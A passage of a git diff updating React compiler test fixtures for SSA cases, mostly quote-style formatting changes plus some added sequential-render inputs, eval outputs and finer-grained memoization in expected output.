@@ -9,8 +9,8 @@ function foo(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/simple-scope.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/simple-scope.js
index 9052d749e100..e92437b0a254 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/simple-scope.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/simple-scope.js
@@ -5,6 +5,6 @@ function foo(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/skip-useMemoCache.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/skip-useMemoCache.expect.md
index 6fbac8e2c206..accf3475a71e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/skip-useMemoCache.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/skip-useMemoCache.expect.md
@@ -2,7 +2,8 @@
 ## Input
 
 ```javascript
-import { c as useMemoCache } from "react/compiler-runtime";
+// @expectNothingCompiled
+import {c as useMemoCache} from 'react/compiler-runtime';
 
 function Component(props) {
   const $ = useMemoCache();
@@ -18,7 +19,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
 
 ```
@@ -26,6 +27,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
+// @expectNothingCompiled
 import { c as useMemoCache } from "react/compiler-runtime";
 
 function Component(props) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/skip-useMemoCache.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/skip-useMemoCache.js
index 0f218483ebd7..2ef71aca5827 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/skip-useMemoCache.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/skip-useMemoCache.js
@@ -1,4 +1,5 @@
-import { c as useMemoCache } from "react/compiler-runtime";
+// @expectNothingCompiled
+import {c as useMemoCache} from 'react/compiler-runtime';
 
 function Component(props) {
   const $ = useMemoCache();
@@ -14,5 +15,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-arrayexpression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-arrayexpression.expect.md
index 3143601e6420..05dbdcbc0490 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-arrayexpression.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-arrayexpression.expect.md
@@ -11,8 +11,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-arrayexpression.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-arrayexpression.js
index 8b6eab358a7b..80b371d7f1f2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-arrayexpression.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-arrayexpression.js
@@ -7,6 +7,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-call-jsx-2.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-call-jsx-2.expect.md
index 530153679a9b..fa78e6d7b034 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-call-jsx-2.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-call-jsx-2.expect.md
@@ -33,7 +33,6 @@ function Component(props) {
     foo(a, b);
     if (foo()) {
     }
-
     foo(a, b);
     t0 = <div a={a} b={b} />;
     $[0] = t0;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-call-jsx.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-call-jsx.expect.md
index 44e1e3ae76db..c8fa82b44699 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-call-jsx.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-call-jsx.expect.md
@@ -28,7 +28,6 @@ function Component(props) {
     const a = [];
     const b = {};
     foo(a, b);
-
     foo(a, b);
     t0 = <div a={a} b={b} />;
     $[0] = t0;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-cascading-eliminated-phis.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-cascading-eliminated-phis.expect.md
index 061aa03c0856..c39b85e5ba63 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-cascading-eliminated-phis.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-cascading-eliminated-phis.expect.md
@@ -20,8 +20,13 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: [{a: 0, b: 1, c: true, d: true}],
+  sequentialRenders: [
+    {a: 0, b: 1, c: true, d: true},
+    {a: 4, b: 1, c: true, d: true},
+    {a: 4, b: 1, c: false, d: true},
+    {a: 4, b: 1, c: false, d: false},
+  ],
 };
 
 ```
@@ -31,10 +36,16 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
-  const $ = _c(4);
+  const $ = _c(7);
   let x = 0;
   let values;
-  if ($[0] !== props || $[1] !== x) {
+  if (
+    $[0] !== props.a ||
+    $[1] !== props.b ||
+    $[2] !== props.c ||
+    $[3] !== props.d ||
+    $[4] !== x
+  ) {
     values = [];
     const y = props.a || props.b;
     values.push(y);
@@ -48,22 +59,35 @@ function Component(props) {
     }
 
     values.push(x);
-    $[0] = props;
-    $[1] = x;
-    $[2] = values;
-    $[3] = x;
+    $[0] = props.a;
+    $[1] = props.b;
+    $[2] = props.c;
+    $[3] = props.d;
+    $[4] = x;
+    $[5] = values;
+    $[6] = x;
   } else {
-    values = $[2];
-    x = $[3];
+    values = $[5];
+    x = $[6];
   }
   return values;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: [{ a: 0, b: 1, c: true, d: true }],
+  sequentialRenders: [
+    { a: 0, b: 1, c: true, d: true },
+    { a: 4, b: 1, c: true, d: true },
+    { a: 4, b: 1, c: false, d: true },
+    { a: 4, b: 1, c: false, d: false },
+  ],
 };
 
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) [1,1,2]
+[4,1,2]
+[4,0,2]
+[4,0,0]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-cascading-eliminated-phis.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-cascading-eliminated-phis.js
index 7a6207006722..8d5a4e2ee91e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-cascading-eliminated-phis.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-cascading-eliminated-phis.js
@@ -16,6 +16,11 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: [{a: 0, b: 1, c: true, d: true}],
+  sequentialRenders: [
+    {a: 0, b: 1, c: true, d: true},
+    {a: 4, b: 1, c: true, d: true},
+    {a: 4, b: 1, c: false, d: true},
+    {a: 4, b: 1, c: false, d: false},
+  ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-for-of.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-for-of.expect.md
index e928fb2db013..e899de65abbf 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-for-of.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-for-of.expect.md
@@ -15,8 +15,8 @@ function foo(cond) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -39,6 +39,7 @@ function foo(cond) {
     if (cond) {
     }
   }
+
   return items;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-for-of.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-for-of.js
index 1a7528b74b07..82f7b14fe615 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-for-of.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-for-of.js
@@ -11,6 +11,6 @@ function foo(cond) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-for-trivial-update.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-for-trivial-update.expect.md
index 3707b290a68a..edf038c71bca 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-for-trivial-update.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-for-trivial-update.expect.md
@@ -26,6 +26,7 @@ function foo() {
   for (const i = 0; true; 0) {
     x = x + 1;
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-for.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-for.expect.md
index de1104946cfc..df956b76772b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-for.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-for.expect.md
@@ -26,6 +26,7 @@ function foo() {
   for (let i = 0; i < 10; i++) {
     x = x + 1;
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-leave-case.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-leave-case.expect.md
index a7389041bb12..1f83da465aef 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-leave-case.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-leave-case.expect.md
@@ -2,6 +2,8 @@
 ## Input
 
 ```javascript
+import {Stringify} from 'shared-runtime';
+
 function Component(props) {
   let x = [];
   let y;
@@ -10,43 +12,72 @@ function Component(props) {
     y = x;
   }
   return (
-    <Component>
+    <Stringify>
       {x}
       {y}
-    </Component>
+    </Stringify>
   );
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{p0: false, p1: 2}],
+  sequentialRenders: [
+    {p0: false, p1: 2},
+    {p0: false, p1: 2},
+    {p0: true, p1: 2},
+    {p0: true, p1: 3},
+  ],
+};
+
 ```
 
 ## Code
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
+import { Stringify } from "shared-runtime";
+
 function Component(props) {
-  const $ = _c(2);
+  const $ = _c(3);
   let t0;
-  if ($[0] !== props) {
+  if ($[0] !== props.p0 || $[1] !== props.p1) {
     const x = [];
     let y;
     if (props.p0) {
       x.push(props.p1);
       y = x;
     }
-
     t0 = (
-      <Component>
+      <Stringify>
         {x}
         {y}
-      </Component>
+      </Stringify>
     );
-    $[0] = props;
-    $[1] = t0;
+    $[0] = props.p0;
+    $[1] = props.p1;
+    $[2] = t0;
   } else {
-    t0 = $[1];
+    t0 = $[2];
   }
   return t0;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ p0: false, p1: 2 }],
+  sequentialRenders: [
+    { p0: false, p1: 2 },
+    { p0: false, p1: 2 },
+    { p0: true, p1: 2 },
+    { p0: true, p1: 3 },
+  ],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) <div>{"children":[[],null]}</div>
+<div>{"children":[[],null]}</div>
+<div>{"children":[[2],"[[ cyclic ref *2 ]]"]}</div>
+<div>{"children":[[3],"[[ cyclic ref *2 ]]"]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-leave-case.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-leave-case.js
index fce3a15209d6..54d489225797 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-leave-case.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-leave-case.js
@@ -1,3 +1,5 @@
+import {Stringify} from 'shared-runtime';
+
 function Component(props) {
   let x = [];
   let y;
@@ -6,9 +8,20 @@ function Component(props) {
     y = x;
   }
   return (
-    <Component>
+    <Stringify>
       {x}
       {y}
-    </Component>
+    </Stringify>
   );
 }
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{p0: false, p1: 2}],
+  sequentialRenders: [
+    {p0: false, p1: 2},
+    {p0: false, p1: 2},
+    {p0: true, p1: 2},
+    {p0: true, p1: 3},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-multiple-phis.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-multiple-phis.expect.md
index 42013535ca56..17b9d25fa785 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-multiple-phis.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-multiple-phis.expect.md
@@ -24,8 +24,8 @@ function foo(a, b, c, d) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -37,6 +37,7 @@ function foo(a, b, c, d) {
   let x;
 
   x = a;
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-multiple-phis.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-multiple-phis.js
index aacd2093aa30..26fd48e97147 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-multiple-phis.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-multiple-phis.js
@@ -20,6 +20,6 @@ function foo(a, b, c, d) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-loops-no-reassign.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-loops-no-reassign.expect.md
index a06151426294..0c6291802644 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-loops-no-reassign.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-loops-no-reassign.expect.md
@@ -17,8 +17,8 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -33,6 +33,7 @@ function foo(a, b, c) {
       while (c) {}
     }
   }
+
   return 0;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-loops-no-reassign.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-loops-no-reassign.js
index 23f8556ff061..5927e8202b58 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-loops-no-reassign.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-loops-no-reassign.js
@@ -13,6 +13,6 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-partial-phi.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-partial-phi.expect.md
index 327767450172..d5e47ed6d516 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-partial-phi.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-partial-phi.expect.md
@@ -15,8 +15,8 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -30,6 +30,7 @@ function foo(a, b, c) {
     if (c) {
       x = c;
     }
+
     return x;
   }
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-partial-phi.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-partial-phi.js
index 1cdc83d49f45..0d2778f99805 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-partial-phi.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-partial-phi.js
@@ -11,6 +11,6 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-partial-reassignment.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-partial-reassignment.expect.md
index a20779457a09..efea6fd49eaf 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-partial-reassignment.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-partial-reassignment.expect.md
@@ -16,8 +16,8 @@ function foo(a, b, c, d, e) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -34,6 +34,7 @@ function foo(a, b, c, d, e) {
       x = d;
     }
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-partial-reassignment.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-partial-reassignment.js
index 65ecce8dcda4..fd4d0df7e4bb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-partial-reassignment.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-nested-partial-reassignment.js
@@ -12,6 +12,6 @@ function foo(a, b, c, d, e) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-non-empty-initializer.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-non-empty-initializer.expect.md
index 230f59454148..7266c547c236 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-non-empty-initializer.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-non-empty-initializer.expect.md
@@ -14,8 +14,8 @@ function foo(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-non-empty-initializer.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-non-empty-initializer.js
index 9def210b7541..0de9e798ee7e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-non-empty-initializer.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-non-empty-initializer.js
@@ -10,6 +10,6 @@ function foo(a, b) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-objectexpression-phi.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-objectexpression-phi.expect.md
index 7b469b9ece2b..c12774a62d2c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-objectexpression-phi.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-objectexpression-phi.expect.md
@@ -12,7 +12,7 @@ function foo() {
     y = 3;
   }
 
-  let t = { x: x, y: y };
+  let t = {x: x, y: y};
   return t;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-objectexpression-phi.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-objectexpression-phi.js
index b388febe5657..cc69a01ea5f6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-objectexpression-phi.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-objectexpression-phi.js
@@ -8,7 +8,7 @@ function foo() {
     y = 3;
   }
 
-  let t = { x: x, y: y };
+  let t = {x: x, y: y};
   return t;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-objectexpression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-objectexpression.expect.md
index 1a0c9e98a32a..66261559de10 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-objectexpression.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-objectexpression.expect.md
@@ -5,14 +5,14 @@
 function Component(props) {
   const a = 1;
   const b = 2;
-  const x = { a: a, b: b };
+  const x = {a: a, b: b};
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-objectexpression.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-objectexpression.js
index e43e492dbdab..522b5334f297 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-objectexpression.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-objectexpression.js
@@ -1,12 +1,12 @@
 function Component(props) {
   const a = 1;
   const b = 2;
-  const x = { a: a, b: b };
+  const x = {a: a, b: b};
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-if.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-if.expect.md
index 2993656dc473..a9279175aba8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-if.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-if.expect.md
@@ -16,8 +16,8 @@ function foo(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -57,6 +57,7 @@ function foo(a) {
   } else {
     x = $[1];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-if.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-if.js
index 5499a09d0cca..2ca6c0a3e209 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-if.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-if.js
@@ -12,6 +12,6 @@ function foo(a) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-mutate-inside-if.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-mutate-inside-if.expect.md
index d1e674369caa..ecf399f19794 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-mutate-inside-if.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-mutate-inside-if.expect.md
@@ -46,6 +46,7 @@ function foo(a) {
   } else {
     x = $[1];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-mutate.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-mutate.expect.md
index ae0daf1213de..b9f5516739b9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-mutate.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-alias-mutate.expect.md
@@ -25,7 +25,6 @@ function foo() {
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     const a = {};
     const x = a;
-
     y = {};
     y.x = x;
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-call.expect.md
index b4bab7cfb9a4..a971c4dcf456 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-call.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-call.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 function foo() {
   const x = [];
-  const y = { x: x };
+  const y = {x: x};
   y.x.push([]);
   return y;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-call.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-call.js
index bdfdcc479f36..0a8fb0f487ac 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-call.js
